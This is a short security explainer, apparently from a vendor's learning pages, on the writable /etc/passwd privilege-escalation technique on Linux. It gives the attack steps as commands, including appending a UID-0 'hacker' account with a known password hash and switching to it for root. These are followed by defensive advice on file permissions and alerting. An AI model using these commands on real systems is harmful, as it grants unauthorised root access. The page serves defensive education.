What is the writable /etc/passwd attack?

The writable /etc/passwd attack is a simple but effective Linux escalation: if a low-privileged user can write to `/etc/passwd`, they can add a new account with UID 0 (root) and a password they know, then switch to it for a root shell. It works because `/etc/passwd` historically could hold a password hash, and any UID-0 account is root. The file should be root-owned and not world-writable, and finding it otherwise is an immediate critical finding.

HOW IT WORKS

01 The payload

The attacker confirms write access, then adds a root account:

- Check permissions: `ls -l /etc/passwd` (look for write access for your user or group, or world-writable).
- Generate a password hash: `openssl passwd -1 -salt xyz Password123`
- Append a root user with that hash: `echo 'hacker:$1$xyz$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd`
- Switch to it: `su hacker` with the password you set, landing a root shell.

Documented technique shown for defenders.

> **UID 0 IS ROOT**
>
> *The account name does not matter, only the UID. Any entry with UID 0 in `/etc/passwd` is root. That is why write access to this one file is game over.*

HOW TO DEFEND

- Ensure `/etc/passwd` is root-owned and mode 644 (readable by all, writable only by root); the same care applies to `/etc/shadow` (mode 640 or stricter).
- Audit for misconfigured permissions on sensitive system files generally.
- Watch for embedded password hashes in `/etc/passwd`, which should normally just contain `x`.
- Alert on new UID-0 accounts appearing in `/etc/passwd`.
- Apply least privilege so a process bug cannot end up writing the file.

SOURCES

[1] MITRE ATT&CK: Privilege Escalation (TA0004)

[2] NIST SP 800-115 Technical Guide to Security Testing

[3] Linux man-pages: setuid(2)

Find the privilege-escalation paths before an attacker does.

securelayer7.net/learn/privilege-escalation/what-is-writable-etc-passwd

Open online